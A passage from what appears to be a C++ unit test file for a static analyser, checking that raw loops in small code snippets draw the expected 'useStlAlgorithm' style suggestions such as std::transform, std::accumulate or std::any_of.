loopAlgoElementAssign() {\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::fill algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = x + 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" for(int& x:v)\\n\"\n \" x = a + b;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::fill or std::generate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x += 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = f();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::generate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" f();\\n\"\n \" x = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" x = 1;\\n\"\n \" f();\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // There should probably be a message for unconditional break\n check(\"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" x = 1;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = ++x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoAccumulateAssign() {\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n += x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = n + x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n += 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = n + 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b &= f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b |= f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b = b && f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b = b || f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int& x:v)\\n\"\n \" n = ++x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::size_t f(const std::map& m) {\\n\" // #10412\n \" std::size_t t = 0;\\n\"\n \" for (std::map::const_iterator i = m.begin(); i != m.end(); ++i) {\\n\"\n \" t += i->second;\\n\"\n \" }\\n\"\n \" for (std::map::const_iterator i = m.begin(); i != m.end(); i++) {\\n\"\n \" t += i->second;\\n\"\n \" }\\n\"\n \" return t; \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\"\n \"[test.cpp:7:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"int g(const std::vector& v) {\\n\"\n \" int t = 0;\\n\"\n \" for (auto i = v.begin(); i != v.end(); ++i) {\\n\"\n \" t += *i;\\n\"\n \" }\\n\"\n \" return t;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"auto g(const std::vector& v) {\\n\"\n \" std::vector::iterator> r;\\n\"\n \" for (auto i = v.begin(); i != v.end(); ++i) {\\n\"\n \" r.push_back(i);\\n\"\n \" }\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string f(std::vector v) {\\n\"\n \" std::string ret;\\n\"\n \" for (const std::string& s : v)\\n\"\n \" ret += s + '\\\\n';\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string f(const std::string& s) {\\n\"\n \" std::string ret;\\n\"\n \" for (char c : s)\\n\"\n \" if (c != ' ')\\n\"\n \" ret += i;\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int sum = 0;\\n\"\n \" for (auto it = v.begin(); it != v.end(); it += 2)\\n\"\n \" sum += *it;\\n\"\n \" return sum;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\" // #12900\n \" int x{};\\n\"\n \" for (const auto i : v)\\n\"\n \" x = dostuff(i);\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\" // #11493\n \" int s = 0;\\n\"\n \" for (std::size_t i = 0; i < v.size(); ++i)\\n\"\n \" s += v[i];\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"int f(int n) {\\n\"\n \" int s = 0;\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" s += g(i);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g(int);\\n\"\n \"int f(const std::vector&v, int n) {\\n\"\n \" int s = 0;\\n\"\n \" for (int i = 0; i < n; ++i) {\\n\"\n \" s += g(i) + v[i];\\n\"\n \" }\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoContainerInsert() {\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::copy algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(f(x));\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(x + 1);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_front(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::copy algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_front(f(x));\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_front(x + 1);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(v);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoIncrement() {\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n++;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" ++n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x++;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" ++x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n }\n\n void loopAlgoConditional() {\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" x = 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) Consider using std::replace_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" n += x;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" n += 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Consider using std::count_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" n++;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consider using std::count_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" x = x + 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" c.push_back(x);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:14]: (style) Consider using std::copy_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consider using std::all_of or std::none_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:22]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void f();\\n\"\n \"void foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" f();\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:22]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void f(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" f(x);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:22]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" b = true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" if(b) {}\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" b |= true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" b &= true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // There is no transform_if\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" c.push_back(x + 1);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" x++;\\n\"\n \" if (pred(x)) {\\n\"\n \" x = 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void f();\\n\"\n \"void foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" if(x) { return; }\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(int);\\n\"\n \"int f(const std::vector& v) {\\n\"\n \" int ret = 0;\\n\"\n \" for (const auto i : v)\\n\"\n \" if (!g(i))\\n\"\n \" ret = 1;\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int ret = 0;\\n\"\n \" for (const auto i : v)\\n\"\n \" if (i < 5)\\n\"\n \" ret = 1;\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (style) Consider using std::any_of, std::all_of, std::none_of algorithm instead of a raw loop.\\n\",\n \"\",\n errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int ret = 0;\\n\"\n \" for (const auto i : v)\\n\"\n \" if (i < 5) {\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector v0, v1;\\n\"\n \" void g();\\n\"\n \"};\\n\"\n \"void T::g() {\\n\"\n \" for (std::vector::const_iterator it0 = v0.cbegin(); it0 != v0.cend(); ++it0) {\\n\"\n \" std::vector::iterator it1;\\n\"\n \" for (it1 = v1.begin(); it1 != v1.end(); ++it1)\\n\"\n \" if (*it0 == *it1)\\n\"\n \" break;\\n\"\n \" if (it1 != v1.end())\\n\"\n \" v1.erase(it1);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:0]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool f(const std::set& set, const std::string& f) {\\n\" // #11595\n \" for (const std::string& s : set) {\\n\"\n \" if (f.length() >= s.length() && f.compare(0, s.length(), s) == 0) {\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"void f() {\\n\" // #12064\n \" for (const auto& animal : { \\\"cat\\\", \\\"bat\\\", \\\"tiger\\\", \\\"rat\\\" })\\n\"\n \" if (std::strlen(animal) > 4)\\n\"\n \" throw 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const std::vector& v, const std::vector& w, int n) {\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (v[i] == w[i])\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int n) {\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (g(i))\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(int);\\n\"\n \"bool f(const std::vector&v, int n) {\\n\"\n \" bool b{};\\n\"\n \" for (int i = 0; i < n; ++i) {\\n\"\n \" if (v[i] > 0 && g(i)) {\\n\"\n \" b = true;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoMinMax() {\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x > n ? x : n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x < n ? x : n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x > n ? n : x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x < n ? n : x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo(int m) {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x > m ? x : n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #9091\n \" int maxY = 0;\\n\"\n \" for (int y : v) {\\n\"\n \" if (y > maxY)\\n\"\n \" maxY = y;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int minY = 0;\\n\"\n \" for (int y : v) {\\n\"\n \" if (y < minY)\\n\"\n \" minY = y;\\n\"\n \" }\\n\"\n \" return minY;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int max = 0;\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" max = v[i] > max ? v[i] : max;\\n\"\n \" return max;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int min = 0;\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" min = v[i] < min ? v[i] : min;\\n\"\n \" return min;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n }\n\n void loopAlgoMultipleReturn()\n {\n check(\"bool f(const std::vector& v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i < 0)\\n\"\n \" continue;\\n\"\n \" if (i)\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"bool g(const std::vector& v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return true;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"bool g(const std::vector& v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(std::vector& v) {\\n\"\n \" for (auto& i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int& j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" j++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int& j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" int& k = j;\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" k++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int& j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" int* k = &j;\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" (*k)++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" int k = j;\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" k++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n 